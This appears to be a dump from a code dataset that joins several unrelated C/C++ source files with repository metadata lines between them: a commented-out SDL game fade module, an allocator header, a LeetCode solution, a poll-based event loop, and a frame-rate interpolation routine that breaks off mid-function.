//} // //// Update: draw background //bool j1FadeToBlack::Update(float dt) //{ // bool ret = true; // if (current_step == FadeStep::NONE_FADE) // return ret; // // Uint32 now = SDL_GetTicks() - start_time; // float normalized = MIN(1.0f, (float)now / (float)total_time); // // switch (current_step) // { // case FadeStep::FADE_TO_BLACK: // { // if (now >= total_time) // { // if (moduleOn != nullptr) { // App->player->CleanUp(); // } // // else { // // if (moduleOn != nullptr && moduleOff != nullptr) { // this->moduleOff->CleanUp(); // this->moduleOff->active = false; // // this->moduleOn->Start(); // this->moduleOn->active = true; // // } // // App->entity_manager->CleanUp(); // App->entity_manager->active = false; // App->player->CleanUp(); // App->player->active = false; // App->particles->CleanUp(); // App->collisions->CleanUp(); // App->map->CleanUp(); // // pugi::xml_node firstData; // pugi::xml_document data; // // pugi::xml_node lvlData = App->LoadConfig(data); // p2SString nextLvlName = ""; // // // bool loadTheNextOne = false; // bool setFirst = false; // bool loaded = false; // if (moduleOn != (j1Module*)App->main_menu) { // for (lvlData = lvlData.child("map").child("scene").child("data"); lvlData && ret; lvlData = lvlData.next_sibling("data")) // { // if (lvlName == "") // { // if (lvlData.previous_sibling("data") == NULL) // firstData = lvlData.next_sibling("data"); // // if (loadTheNextOne) // { // lvlData.attribute("currentLvl").set_value(true); // nextLvlName = (p2SString)lvlData.attribute("name").as_string(); // loaded = true; // break; // } // // if (lvlData.attribute("currentLvl").as_bool() && !loadTheNextOne) // { // lvlData.attribute("currentLvl").set_value(false); // loadTheNextOne = true; // } // // if (lvlData.next_sibling("data") == NULL && !loaded) { // setFirst = true; // } // } // else // { // if (lvlData.attribute("currentLvl").as_bool()) // { // lvlData.attribute("currentLvl").set_value(false); // } // // p2SString tmp = (p2SString)lvlData.attribute("name").as_string(); // // if (tmp == lvlName) // { // lvlData.attribute("currentLvl").set_value(true); // } // } // } // // } // else { // for (lvlData = lvlData.child("map").child("scene").child("data"); lvlData && ret; lvlData = lvlData.next_sibling("data")) // { // if (lvlData.attribute("currentLvl").as_bool()) // { // lvlData.attribute("currentLvl").set_value(false); // } // // p2SString tmp = (p2SString)lvlData.attribute("name").as_string(); // p2SString main_menu; // lvlName = main_menu.create("main_menu.tmx"); // // if (tmp == main_menu) // { // lvlData.attribute("currentLvl").set_value(true); // } // // } // } // // if (setFirst) // { // firstData.attribute("currentLvl").set_value(true); // nextLvlName = (p2SString)firstData.attribute("name").as_string(); // } // // //We save the xml to do a loop through all the lvl's without knowing the number // data.save_file("config.xml"); // // if (lvlName != "") // nextLvlName = lvlName; // // App->map->sceneName = nextLvlName; // App->map->Load(nextLvlName.GetString()); // App->map->LayersSetUp(); // // App->map->setAllLogicForMap(); // if (moduleOn == (j1Module*)App->main_menu) { // App->map->spawn.x = -1; // App->map->spawn.y = -1; // } // // int w, h; // uchar* data_map = NULL; // if (App->map->CreateWalkabilityMap(w, h, &data_map)) // App->pathfinding->SetMap(w, h, data_map); // // RELEASE_ARRAY(data_map); // // // App->entities->Start(); // App->entities->active = true; // if (have_to_load) // App->LoadGame(); // App->particles->Start(); // // // // if ((lvlName != "" && !F1 && (moduleOn == nullptr && moduleOff == nullptr)) || have_to_load) // App->entities->GetPlayer()->ImplementLoad(); // // F1 = false; // // moduleOn = nullptr; // moduleOff = nullptr; // lvlName = ""; // have_to_load = false; // } // // // // // total_time += total_time; // start_time = SDL_GetTicks(); // current_step = FadeStep::FADE_FROM_BLACK; // // } // } break; // // case FadeStep::FADE_FROM_BLACK: // { // normalized = 1.0f - normalized; // // if (now >= total_time) // current_step = FadeStep::NONE_FADE; // } break; // } // // // Finally render the black square with alpha on the screen // SDL_SetRenderDrawColor(App->render->renderer, 0, 0, 0, (Uint8)(normalized * 255.0f)); // SDL_RenderFillRect(App->render->renderer, &screen); // // return ret; //} // //// Fade to black. At mid point deactivate one module, then activate the other //bool j1FadeToBlack::FadeToBlack(float time) //{ // lvlName = ""; // bool ret = false; // if (current_step == FadeStep::NONE_FADE) // { // current_step = FadeStep::FADE_TO_BLACK; // start_time = SDL_GetTicks(); // total_time = (Uint32)(time * 0.5f * 1000.0f); // ret = true; // } // // return ret; //} // //bool j1FadeToBlack::FadeToKnowBlack(p2SString lvlToFade, float time) //{ // lvlName = lvlToFade; // bool ret = false; // if (current_step == FadeStep::NONE_FADE) // { // current_step = FadeStep::FADE_TO_BLACK; // start_time = SDL_GetTicks(); // total_time = (Uint32)(time * 0.5f * 1000.0f); // ret = true; // } // // return ret; //} // //bool j1FadeToBlack::FadeToBlackBetweenModules(j1Module* module_off, j1Module* module_on, float time, bool andLoad) //{ // bool ret = false; // // have_to_load = andLoad; // moduleOff = module_off; // moduleOn = module_on; // // if (current_step == FadeStep::NONE_FADE) // { // current_step = FadeStep::FADE_TO_BLACK; // start_time = SDL_GetTicks(); // total_time = (Uint32)(time * 0.5f * 1000.0f); // ret = true; // } // // return ret; //} // //bool j1FadeToBlack::FadeIsOver() { // bool ret = true; // // if (current_step == FadeStep::NONE_FADE) // ret = true; // else // ret = false; // // return ret; //}
24.613793
128
0.584758
Needlesslord
7b3f320ff413a3b473e024d95ce06fdef793cccc
2,168
hxx
C++
src/cxon/lang/common/allocator.hxx
oknenavin/cxon
29df5c162baf686dbc3ed5339d88cb61d63d4992
[ "MIT" ]
8
2019-04-04T20:42:23.000Z
2021-12-11T17:52:48.000Z
src/cxon/lang/common/allocator.hxx
oknenavin/cxon
29df5c162baf686dbc3ed5339d88cb61d63d4992
[ "MIT" ]
1
2021-02-20T18:26:18.000Z
2021-02-20T18:27:41.000Z
src/cxon/lang/common/allocator.hxx
oknenavin/cxon
29df5c162baf686dbc3ed5339d88cb61d63d4992
[ "MIT" ]
null
null
null
// Copyright (c) 2017-2021 oknenavin. // Licensed under the MIT license. See LICENSE file in the library root for full license information. // // SPDX-License-Identifier: MIT #ifndef CXON_ALLOCATOR_HXX_ #define CXON_ALLOCATOR_HXX_ #include "cxon/utility.hxx" #include <memory> namespace cxon { CXON_PARAMETER(allocator, std::allocator<char>); template <typename X, typename T, typename Ax> struct context_allocator { T* create() { auto t = tr::allocate(al_, 1); return construct(t), t; } T* create(std::size_t n) { auto p = tr::allocate(al_, n); for (T *t = p, *te = t + n; t != te; ++t) construct(t); return p; } void release(T* t) { destroy(t), tr::deallocate(al_, t, 1); } void release(T* p, std::size_t n) { for (T *t = p, *te = t + n; t != te; ++t) destroy(t); tr::deallocate(al_, p, n); } template <typename U = T> auto construct(U *u) -> enable_if_t<!std::is_trivial<U>::value> { tr::construct(al_, u); } template <typename U = T> auto construct(U *) -> enable_if_t< std::is_trivial<U>::value> {} template <typename U = T> auto destroy(U *u) -> enable_if_t<!std::is_trivial<U>::value> { tr::destroy(al_, u); } template <typename U = T> auto destroy(U *) -> enable_if_t< std::is_trivial<U>::value> {} private: using al = typename std::allocator_traits<Ax>::template rebind_alloc<T>; using tr = std::allocator_traits<al>; al al_; }; template <typename X, typename T, typename Cx> inline auto make_context_allocator(Cx& cx) -> context_allocator<X, T, decltype(allocator::value(cx.px, std::allocator<T>()))> { return context_allocator<X, T, decltype(allocator::value(cx.px, std::allocator<T>()))>{}; } } #endif // CXON_ALLOCATOR_HXX_
34.412698
101
0.519373
oknenavin
7b409054dc0289d16fab2f00d1b48083029ed211
761
cc
C++
leetcode/1530-check-if-a-string-can-break-another-string.cc
Magic07/online-judge-solutions
02a289dd7eb52d7eafabc97bd1a043213b65f70a
[ "MIT" ]
null
null
null
leetcode/1530-check-if-a-string-can-break-another-string.cc
Magic07/online-judge-solutions
02a289dd7eb52d7eafabc97bd1a043213b65f70a
[ "MIT" ]
null
null
null
leetcode/1530-check-if-a-string-can-break-another-string.cc
Magic07/online-judge-solutions
02a289dd7eb52d7eafabc97bd1a043213b65f70a
[ "MIT" ]
null
null
null
class Solution { public: bool checkIfCanBreak(string s1, string s2) { vector<char> s1c(s1.size()); vector<char> s2c(s2.size()); for(int i=0;i<s1.size();i++){ s1c[i]=s1[i]; s2c[i]=s2[i]; } sort(s1c.begin(),s1c.end()); sort(s2c.begin(),s2c.end()); int i=0; while(i<s1.size()&&s1c[i]==s2c[i]){ i++; } if(i==s1.size()-1){ return true; } bool aIsGreater(s1c[i]>s2c[i]); for(;i<s1.size();i++){ if(s1c[i]>s2c[i]==aIsGreater||s1c[i]==s2c[i]){ continue; } else { return false; } } return true; } };
26.241379
59
0.39159
Magic07
7b46cb9ca826d8305f053848845acc50bdc3c0b6
4,920
cpp
C++
src/loop.cpp
yrro/DoTe
d3352c3bf800db9a708004270ad9b65fc8303049
[ "MIT" ]
16
2020-09-29T09:01:53.000Z
2022-03-30T10:18:11.000Z
src/loop.cpp
yrro/DoTe
d3352c3bf800db9a708004270ad9b65fc8303049
[ "MIT" ]
16
2018-04-06T22:39:07.000Z
2022-03-06T21:34:52.000Z
src/loop.cpp
chrisstaite/DoTe
c0f8e13df80e112f27571fec7e3d75499b02719a
[ "MIT" ]
4
2019-10-21T05:31:52.000Z
2022-01-15T15:13:16.000Z
#include "loop.h" #include "log.h" #include <algorithm> namespace dote { void Loop::run() { int currentTimeout = timeout(); std::vector<pollfd> fds; populateFds(fds); while (fds.size() > 0 && poll(&fds.front(), fds.size(), currentTimeout) >= 0) { for (const auto& fd : fds) { if ((fd.revents & POLLIN)) { callCallback(m_readFunctions, fd.fd); } if ((fd.revents & POLLOUT)) { callCallback(m_writeFunctions, fd.fd); } if ((fd.revents & (POLLERR | POLLHUP | POLLNVAL))) { (void) raiseException(fd.fd); } } populateFds(fds); currentTimeout = timeout(); } } void Loop::populateFds(std::vector<pollfd>& fds) { clearFds(fds); popluateFds(fds, m_readFunctions, POLLIN); popluateFds(fds, m_writeFunctions, POLLOUT); popluateFds(fds, m_exceptFunctions, POLLERR); removeFds(fds); } template<typename T> void Loop::popluateFds(std::vector<pollfd>& fds, const std::map<int, T>& functions, short event) { for (auto& read : functions) { bool found = false; for (auto& fd : fds) { if (fd.fd == read.first) { fd.events |= event; found = true; } } if (!found) { fds.emplace_back(pollfd { read.first, event, 0 }); } } } void Loop::clearFds(std::vector<pollfd> &fds) { for (auto& fd : fds) { fd.events = 0; } } void Loop::removeFds(std::vector<pollfd> &fds) { for (auto it = fds.begin(); it != fds.end();) { if (it->events == 0) { it = fds.erase(it); } else { it->events &= ~POLLERR; ++it; } } } void Loop::callCallback( const std::map<int, std::pair<Callback, time_t>>& functions, int handle) { auto func = functions.find(handle); if (func != functions.end()) { func->second.first(handle); } } bool Loop::registerRead(int handle, Callback callback, time_t timeout) { if (m_readFunctions.count(handle)) { return false; } m_readFunctions.insert({ handle, std::make_pair(std::move(callback), timeout) }); return true; } bool Loop::registerWrite(int handle, Callback callback, time_t timeout) { if (m_writeFunctions.count(handle)) { return false; } m_writeFunctions.insert({ handle, std::make_pair(std::move(callback), timeout) }); return true; } bool Loop::registerException(int handle, Callback callback) { if (m_exceptFunctions.count(handle)) { return false; } // Nothing to register for, poll always returns exceptions m_exceptFunctions.insert({ handle, std::move(callback) }); return true; } void Loop::removeRead(int handle) { m_readFunctions.erase(handle); } void Loop::removeWrite(int handle) { m_writeFunctions.erase(handle); } void Loop::removeException(int handle) { m_exceptFunctions.erase(handle); } time_t Loop::timeout(time_t now, std::map<int, std::pair<Callback, time_t>>& functions) { time_t earliest = 0u; std::vector<int> excepted; for (auto it = functions.begin(); it != functions.end();) { time_t thisTime = it->second.second; // Cache the handle so we can reference it after calling raiseException int handle = it->first; if (thisTime != 0u && thisTime <= now && std::find(excepted.begin(), excepted.end(), handle) == excepted.end() && raiseException(handle)) { Log::info << "Timeout"; // The iterator may have been invalidated by raiseException, so need to restart // Log the fact we've handled it, so we don't get in an infinite loop excepted.emplace_back(handle); it = functions.begin(); } else if (earliest == 0u || thisTime < earliest) { earliest = thisTime; ++it; } else { ++it; } } return earliest; } int Loop::timeout() { time_t now = time(nullptr); time_t earliestRead = timeout(now, m_readFunctions); time_t earliestWrite = timeout(now, m_writeFunctions); time_t earliest = earliestRead < earliestWrite ? earliestRead : earliestWrite; if (earliest == 0u) { return -1; } else if (now >= earliest) { return 0; } return (earliest - now) * 1000u; } bool Loop::raiseException(int handle) { auto func = m_exceptFunctions.find(handle); if (func != m_exceptFunctions.end()) { func->second(handle); return true; } return false; } } // namespace dote
22.990654
91
0.552033
yrro
0dac2d662a311da880e7e8e5276ff4a5e1eaee7b
20,776
cpp
C++
Fruc.cpp
wjy5446/ImageStitching
ffebd75efe38ce7d2d367d022a6a96fd5248a32f
[ "MIT" ]
1
2018-12-21T22:12:26.000Z
2018-12-21T22:12:26.000Z
Fruc.cpp
alexvonduar/SportsBroadSystem-TrackingVideo
60a7141e8ea65523f316c115acb4aa315edf972d
[ "MIT" ]
null
null
null
Fruc.cpp
alexvonduar/SportsBroadSystem-TrackingVideo
60a7141e8ea65523f316c115acb4aa315edf972d
[ "MIT" ]
3
2018-03-14T02:22:25.000Z
2021-10-21T01:47:03.000Z
// Fruc.cpp: implementation of the CFruc class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "ImageProcessing.h" #include "Fruc.h" #include "Image.h" #include <cmath> #ifdef _DEBUG #undef THIS_FILE static char THIS_FILE[]=__FILE__; #define new DEBUG_NEW #endif ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CFruc::CFruc() { Init(320, 320); } CFruc::~CFruc() { Closing(); } void CFruc::Init(int nW, int nH) { m_nW = nW; m_nH = nH; m_CurrR = cmatrix(m_nH, m_nW); m_CurrG = cmatrix(m_nH, m_nW); m_CurrB = cmatrix(m_nH, m_nW); m_PrevR = cmatrix(m_nH, m_nW); m_PrevG = cmatrix(m_nH, m_nW); m_PrevB = cmatrix(m_nH, m_nW); m_InterR = cmatrix(m_nH, m_nW); m_InterG = cmatrix(m_nH, m_nW); m_InterB = cmatrix(m_nH, m_nW); m_RefR = cmatrix(m_nH, m_nW); m_RefG = cmatrix(m_nH, m_nW); m_RefB = cmatrix(m_nH, m_nW); m_TempR = cmatrix(m_nH, m_nW); m_TempG = cmatrix(m_nH, m_nW); m_TempB = cmatrix(m_nH, m_nW); } void CFruc::Closing() { free_cmatrix(m_CurrR, m_nH, m_nW); free_cmatrix(m_CurrG, m_nH, m_nW); free_cmatrix(m_CurrB, m_nH, m_nW); free_cmatrix(m_PrevR, m_nH, m_nW); free_cmatrix(m_PrevG, m_nH, m_nW); free_cmatrix(m_PrevB, m_nH, m_nW); free_cmatrix(m_InterR, m_nH, m_nW); free_cmatrix(m_InterG, m_nH, m_nW); free_cmatrix(m_InterB, m_nH, m_nW); free_cmatrix(m_RefR, m_nH, m_nW); free_cmatrix(m_RefG, m_nH, m_nW); free_cmatrix(m_RefB, m_nH, m_nW); free_cmatrix(m_TempR, m_nH, m_nW); free_cmatrix(m_TempG, m_nH, m_nW); free_cmatrix(m_TempB, m_nH, m_nW); } static void Gaussian5Filter(BYTE **ImageGray, BYTE **OutputGray, int nW, int nH) { int x, y; int dx, dy; int nSum; int xx, yy; int Gaussian[5][5] = {2, 4, 5, 4, 2, 4, 9, 12, 9, 4, 5, 12, 15, 12, 5, 4, 9, 12, 9, 4, 2, 4, 5, 4, 2}; for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { nSum = 0; for(dy = -2 ; dy <= 2 ; dy++) for(dx = -2 ; dx <=2 ; dx++) { xx = x+dx; yy = y+dy; if(xx < 0) xx = 0; if(xx >= nW) xx = nW-1; if(yy < 0) yy = 0; if(yy >= nH) yy = nH-1; nSum += ImageGray[yy][xx]*Gaussian[dy+2][dx+2]; } OutputGray[y][x] = nSum/159; } } static double GetPsnrRgb(BYTE **R, BYTE **G, BYTE **B, BYTE **R2, BYTE **G2, BYTE **B2, int nW, int nH) { int x, y; double Mse = 0.; double Mse1 = 0, Mse2 = 0, Mse3 = 0; for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { // Mse += (R[y][x] - R2[y][x])*(R[y][x] - R2[y][x]) + // (G[y][x] - G2[y][x])*(G[y][x] - G2[y][x]) + // (B[y][x] - B2[y][x])*(B[y][x] - B2[y][x]); Mse1 += (R[y][x] - R2[y][x])*(R[y][x] - R2[y][x]); Mse2 += (G[y][x] - G2[y][x])*(G[y][x] - G2[y][x]); Mse3 += (B[y][x] - B2[y][x])*(B[y][x] - B2[y][x]); } Mse1 /= nW*nH; Mse2 /= nW*nH; Mse3 /= nW*nH; Mse = (Mse1+Mse2+Mse3)/3; if(Mse == 0) return 100; return 10*log10(255*255/Mse); } static double GetPsnrYuv(BYTE **R, BYTE **G, BYTE **B, BYTE **R2, BYTE **G2, BYTE **B2, int nW, int nH) { int x, y; double Mse = 0.; double Mse1 = 0, Mse2 = 0, Mse3 = 0; for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { double y1 = 0.257*R[y][x] + 0.504*G[y][x] + 0.098*B[y][x] + 16; double v1 = 0.439*R[y][x] - 0.368*G[y][x] - 0.071*B[y][x] + 128; double u1 = -0.148*R[y][x] - 0.291*G[y][x] + 0.439*B[y][x] + 128; y1 = y1>255? 255 : y1<0 ? 0 : y1; v1 = v1>255? 255 : v1<0 ? 0 : v1; u1 = u1>255? 255 : u1<0 ? 0 : u1; double y2 = 0.257*R2[y][x] + 0.504*G2[y][x] + 0.098*B2[y][x] + 16; double v2 = 0.439*R2[y][x] - 0.368*G2[y][x] - 0.071*B2[y][x] + 128; double u2 = -0.148*R2[y][x] - 0.291*G2[y][x] + 0.439*B2[y][x] + 128; y2 = y2>255? 255 : y2<0 ? 0 : y2; v2 = v2>255? 255 : v2<0 ? 0 : v2; u2 = u2>255? 255 : u2<0 ? 0 : u2; Mse1 += (y1-y2)*(y1-y2); Mse2 += (u1-u2)*(u1-u2); Mse3 += (v1-v2)*(v1-v2); } Mse1 /= nW*nH; Mse2 /= nW*nH; Mse3 /= nW*nH; Mse = (Mse1+Mse2+Mse3)/3; if(Mse == 0) return 100; return 10*log10(255*255/Mse); } static double GetPsnrY(BYTE **R, BYTE **G, BYTE **B, BYTE **R2, BYTE **G2, BYTE **B2, int nW, int nH) { int x, y; double Mse = 0.; for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { double y1 = 0.257*R[y][x] + 0.504*G[y][x] + 0.098*B[y][x] +16; double y2 = 0.257*R2[y][x] + 0.504*G2[y][x] + 0.098*B2[y][x] +16; Mse += (y1-y2)*(y1-y2); } Mse /= nW*nH; if(Mse == 0) return 100; return 10*log10(255*255/Mse); } static CPoint BMA(BYTE **CurrImageGray, BYTE **ReferImageGray, int left, int top, int nW, int nH, int nSearchLeft, int nSearchTop, int nSearchRight, int nSearchBottom, int BlockWidth, int BlockHeight, double *pMinDiff) { if(top < BlockHeight+nSearchBottom || top >= nH - BlockHeight-nSearchTop || left < BlockWidth+nSearchRight || left >= nW - BlockWidth-nSearchLeft) { *pMinDiff = 255; return 0; } int x, y, dx, dy; CPoint MinDx = CPoint(0, 0); double Diff, MinDiff = 255; int xx0, yy0, xx1, yy1; for(dy = -nSearchTop ; dy <= nSearchBottom ; dy++) { for(dx = -nSearchLeft ; dx <= nSearchRight ; dx++) { Diff = 0.; for(y = 0 ; y < BlockHeight ; y++) for(x = 0 ; x < BlockWidth ; x++) { yy0 = top+y; xx0 = left+x; xx1 = left+x+dx; yy1 = top+y+dy; Diff += abs(CurrImageGray[yy0][xx0] - ReferImageGray[yy1][xx1]); } Diff /= BlockWidth*BlockHeight; if(Diff < MinDiff || (Diff == MinDiff && dx == 0 && dy == 0)) { MinDiff = Diff; MinDx = CPoint(dx, dy); } } } *pMinDiff = MinDiff; return MinDx; } void GetInterFrame(BYTE **Prev, BYTE **Curr, BYTE **Inter, int nW, int nH, int nMask, int nSearch, int nGrow, int nMeGap, bool bDiffRegion, int nThreDiff) { const int MAX_CAND = 150; BYTE **Candidate[MAX_CAND]; double **Weight[MAX_CAND]; int **CandidateIndex; BYTE **Diff2D; // BYTE SortTemp[MAX_CAND]; int x, y; int i; Diff2D = cmatrix(nH, nW); for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { if(bDiffRegion) { Diff2D[y][x] = abs(Prev[y][x] - Curr[y][x]) >= nThreDiff ? 255 : 0; } } if(bDiffRegion) DisplayCimage2D(Diff2D, nW, nH, nW*2, nH*2, false, true); for(i = 0 ; i < MAX_CAND ; i++) { Candidate[i] = cmatrix(nH, nW); Weight[i] = dmatrix(nH, nW); } CandidateIndex = imatrix(nH, nW); for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { CandidateIndex[y][x] = 0; } int xx, yy; for(y = 0 ; y < nH ; y+=nMeGap) { for(x = 0 ; x < nW ; x+=nMeGap) { double MinDiff; CPoint Mv; if(bDiffRegion && Diff2D[y][x] == 0) { Mv = CPoint(0, 0); } else { Mv = BMA(Curr, Prev, x-nMask, y-nMask, nW, nH, nSearch, nSearch, nSearch, nSearch, nMask*2+1, nMask*2+1, &MinDiff); if(MinDiff > 30) Mv = CPoint(0, 0); } if(MinDiff > 30) Mv = CPoint(0, 0); for(yy = -nGrow ; yy <= nGrow ; yy++) for(xx = -nGrow ; xx <= nGrow ; xx++) { int xPos = x + Mv.x/2 + xx; int yPos = y + Mv.y/2 + yy; int xOrgPos = x+xx; int yOrgPos = y+yy; if(xPos >= 0 && xPos < nW && yPos >= 0 && yPos < nH && xOrgPos >= 0 && xOrgPos < nW && yOrgPos >= 0 && yOrgPos < nH) { if(CandidateIndex[yPos][xPos] >= MAX_CAND) continue; Weight[CandidateIndex[yPos][xPos]][yPos][xPos] = 1.-Dist(xx, yy, 0, 0)/(nGrow*sqrt((double)2)+1);//pow(1.-fabs(xx)/(nGrow+1), 1./3); Candidate[CandidateIndex[yPos][xPos]][yPos][xPos] = Curr[yOrgPos][xOrgPos]; CandidateIndex[yPos][xPos]++; } } } } for(y = 0 ; y < nH ; y+=nMeGap) { for(x = 0 ; x < nW ; x+=nMeGap) { double MinDiff; CPoint Mv; if(bDiffRegion && Diff2D[y][x] == 0) { Mv = CPoint(0, 0); } else { Mv = BMA(Prev, Curr, x-nMask, y-nMask, nW, nH, nSearch, nSearch, nSearch, nSearch, nMask*2+1, nMask*2+1, &MinDiff); if(MinDiff > 30) Mv = CPoint(0, 0); } for(yy = -nGrow ; yy <= nGrow ; yy++) for(xx = -nGrow ; xx <= nGrow ; xx++) { int xPos = x + Mv.x/2 + xx; int yPos = y + Mv.y/2 + yy; int xOrgPos = x+xx; int yOrgPos = y+yy; if(xPos >= 0 && xPos < nW && yPos >= 0 && yPos < nH && xOrgPos >= 0 && xOrgPos < nW && yOrgPos >= 0 && yOrgPos < nH) { if(CandidateIndex[yPos][xPos] >= MAX_CAND) continue; Weight[CandidateIndex[yPos][xPos]][yPos][xPos] = 1.-Dist(xx, yy, 0, 0)/(nGrow*sqrt((double)2)+1);//pow(1.-fabs(xx)/(nGrow+1), 1./3); Candidate[CandidateIndex[yPos][xPos]][yPos][xPos] = Prev[yOrgPos][xOrgPos]; CandidateIndex[yPos][xPos]++; } } } } for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { if(CandidateIndex[y][x] == 0) Inter[y][x] = Curr[y][x]; else { double Sum = 0, SumWeight = 0; for(i = 0 ; i < CandidateIndex[y][x] ; i++) { Sum += Candidate[i][y][x]*Weight[i][y][x]; SumWeight += Weight[i][y][x]; } if(SumWeight == 0) Inter[y][x] = Curr[y][x]; else Inter[y][x] = (BYTE)(Sum / SumWeight); } } for(i = 0 ; i < MAX_CAND ; i++) { free_cmatrix(Candidate[i], nH, nW); free_dmatrix(Weight[i], nH, nW); } free_imatrix(CandidateIndex, nH, nW); free_cmatrix(Diff2D, nH, nW); } void GetColorInterFrameByMotionY(BYTE **PrevR, BYTE **PrevG, BYTE **PrevB, BYTE **CurrR, BYTE **CurrG, BYTE **CurrB, BYTE **InterR, BYTE **InterG, BYTE **InterB, int nW, int nH, int nMask, int nSearch, int nGrow, int nMeGap, bool bDiffRegion, int nThreDiff) { const int MAX_CAND = 150; BYTE **CandidateR[MAX_CAND], **CandidateG[MAX_CAND], **CandidateB[MAX_CAND]; double **Weight[MAX_CAND]; int **CandidateIndex; BYTE **PrevGray, **CurrGray, **DiffGray; // BYTE SortTemp[MAX_CAND]; int x, y; int i; PrevGray = cmatrix(nH, nW); CurrGray = cmatrix(nH, nW); DiffGray = cmatrix(nH, nW); for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { PrevGray[y][x] = (PrevR[y][x]+PrevG[y][x]+PrevB[y][x])/3; CurrGray[y][x] = (CurrR[y][x]+CurrG[y][x]+CurrB[y][x])/3; if(bDiffRegion) { DiffGray[y][x] = abs(PrevGray[y][x] - CurrGray[y][x]) >= nThreDiff ? 255 : 0; } } if(bDiffRegion) DisplayCimage2D(DiffGray, nW, nH, nW*2, nH*2, false, true); for(i = 0 ; i < MAX_CAND ; i++) { CandidateR[i] = cmatrix(nH, nW); CandidateG[i] = cmatrix(nH, nW); CandidateB[i] = cmatrix(nH, nW); Weight[i] = dmatrix(nH, nW); } CandidateIndex = imatrix(nH, nW); for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { CandidateIndex[y][x] = 0; } int xx, yy; for(y = 0 ; y < nH ; y+=nMeGap) { for(x = 0 ; x < nW ; x+=nMeGap) { double MinDiff; CPoint Mv; if(bDiffRegion && DiffGray[y][x] == 0) { Mv = CPoint(0, 0); } else { Mv = BMA(CurrGray, PrevGray, x-nMask, y-nMask, nW, nH, nSearch, nSearch, nSearch, nSearch, nMask*2+1, nMask*2+1, &MinDiff); if(MinDiff > 30) Mv = CPoint(0, 0); } for(yy = -nGrow ; yy <= nGrow ; yy++) for(xx = -nGrow ; xx <= nGrow ; xx++) { int xPos = x + Mv.x/2 + xx; int yPos = y + Mv.y/2 + yy; int xOrgPos = x+xx; int yOrgPos = y+yy; if(xPos >= 0 && xPos < nW && yPos >= 0 && yPos < nH && xOrgPos >= 0 && xOrgPos < nW && yOrgPos >= 0 && yOrgPos < nH) { if(CandidateIndex[yPos][xPos] >= MAX_CAND) continue; Weight[CandidateIndex[yPos][xPos]][yPos][xPos] = 1.-Dist(xx, yy, 0, 0)/(nGrow*sqrt((double)2)+1);//pow(1.-fabs(xx)/(nGrow+1), 1./3); CandidateR[CandidateIndex[yPos][xPos]][yPos][xPos] = CurrR[yOrgPos][xOrgPos]; CandidateG[CandidateIndex[yPos][xPos]][yPos][xPos] = CurrG[yOrgPos][xOrgPos]; CandidateB[CandidateIndex[yPos][xPos]][yPos][xPos] = CurrB[yOrgPos][xOrgPos]; CandidateIndex[yPos][xPos]++; } } } } for(y = 0 ; y < nH ; y+=nMeGap) { for(x = 0 ; x < nW ; x+=nMeGap) { double MinDiff; CPoint Mv; if(bDiffRegion && DiffGray[y][x] == 0) { Mv = CPoint(0, 0); } else { Mv = BMA(PrevGray, CurrGray, x-nMask, y-nMask, nW, nH, nSearch, nSearch, nSearch, nSearch, nMask*2+1, nMask*2+1, &MinDiff); if(MinDiff > 30) Mv = CPoint(0, 0); } if(MinDiff > 30) Mv = CPoint(0, 0); for(yy = -nGrow ; yy <= nGrow ; yy++) for(xx = -nGrow ; xx <= nGrow ; xx++) { int xPos = x + Mv.x/2 + xx; int yPos = y + Mv.y/2 + yy; int xOrgPos = x+xx; int yOrgPos = y+yy; if(xPos >= 0 && xPos < nW && yPos >= 0 && yPos < nH && xOrgPos >= 0 && xOrgPos < nW && yOrgPos >= 0 && yOrgPos < nH) { if(CandidateIndex[yPos][xPos] >= MAX_CAND) continue; Weight[CandidateIndex[yPos][xPos]][yPos][xPos] = 1.-Dist(xx, yy, 0, 0)/(nGrow*sqrt((double)2)+1);//pow(1.-fabs(xx)/(nGrow+1), 1./3); CandidateR[CandidateIndex[yPos][xPos]][yPos][xPos] = PrevR[yOrgPos][xOrgPos]; CandidateG[CandidateIndex[yPos][xPos]][yPos][xPos] = PrevG[yOrgPos][xOrgPos]; CandidateB[CandidateIndex[yPos][xPos]][yPos][xPos] = PrevB[yOrgPos][xOrgPos]; CandidateIndex[yPos][xPos]++; } } } } for(y = 0 ; y < nH ; y++) for(x = 0 ; x < nW ; x++) { if(CandidateIndex[y][x] == 0) { InterR[y][x] = CurrR[y][x]; InterG[y][x] = CurrG[y][x]; InterB[y][x] = CurrB[y][x]; } else { double SumR = 0, SumG = 0, SumB = 0, SumWeight = 0; for(i = 0 ; i < CandidateIndex[y][x] ; i++) { SumR += CandidateR[i][y][x]*Weight[i][y][x]; SumG += CandidateG[i][y][x]*Weight[i][y][x]; SumB += CandidateB[i][y][x]*Weight[i][y][x]; SumWeight += Weight[i][y][x]; } if(SumWeight == 0) { //InterR[y][x] = CurrR[y][x]; //InterG[y][x] = CurrG[y][x]; //InterB[y][x] = CurrB[y][x]; } else { InterR[y][x] = (BYTE)(SumR / SumWeight); InterG[y][x] = (BYTE)(SumG / SumWeight); InterB[y][x] = (BYTE)(SumB / SumWeight); } } } for(i = 0 ; i < MAX_CAND ; i++) { free_cmatrix(CandidateR[i], nH, nW); free_cmatrix(CandidateG[i], nH, nW); free_cmatrix(CandidateB[i], nH, nW); free_dmatrix(Weight[i], nH, nW); } free_imatrix(CandidateIndex, nH, nW); free_cmatrix(CurrGray, nH, nW); free_cmatrix(PrevGray, nH, nW); free_cmatrix(DiffGray, nH, nW); } void CFruc::Run(BYTE *Image1D, int nW, int nH, int nInterGap, int nMask, int nSearch, int nGrow, int nMeGap, int nUseColor, int nThreDiff, bool bViewPsnr, int nPsnrType, bool bFirst) { if(nW != m_nW || nH != m_nH) { Closing(); Init(nW, nH); } if(bFirst) { m_nFrameCnt = 0; int k; for(k = 0 ; k < 5 ; k++) { m_Psnr[k] = 0; 